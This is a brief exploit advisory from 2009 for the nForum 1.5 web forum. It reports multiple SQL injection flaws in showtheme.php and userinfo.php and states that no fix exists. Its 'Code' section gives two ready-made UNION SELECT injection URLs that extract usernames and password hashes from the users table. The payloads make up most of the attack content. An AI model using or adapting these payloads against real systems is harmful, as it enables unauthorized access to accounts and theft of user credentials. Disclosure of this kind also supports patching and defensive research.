******* Salvatore "drosophila" Fresta ******* [+] Application: nForum [+] Version: 1.5 [+] Website: http://sourceforge.net/projects/nforum/ [+] Bugs: [A] Multiple SQL Injection [+] Exploitation: Remote [+] Date: 06 Mar 2009 [+] Discovered by: Salvatore "drosophila" Fresta [+] Author: Salvatore "drosophila" Fresta [+] Contact: e-mail: drosophilaxxx_at_gmail.com ************************************************* [+] Menu 1) Bugs 2) Code 3) Fix ************************************************* [+] Bugs - [A] Multiple SQL Injection [-] Requisites: magic_quotes_gpc = off [-] File affected: showtheme.php, userinfo.php These bugs allows a guest to view username and the password of a registered user. ************************************************* [+] Code - [A] Multiple SQL Injection http://www.site.com/path/showtheme.php?id=-1' UNION ALL SELECT 1,2,CONCAT(name, 0x3a, passwd_hash),NULL,5,6,7 FROM users%23 http://www.site.com/path/userinfo.php?user=-1' UNION ALL SELECT 1,2,3,4,5,6,7,8,CONCAT(name, 0x3a, passwd_hash),10,11,12 FROM users%23 ************************************************* [+] Fix No fix. ************************************************* Salvatore "drosophila" Fresta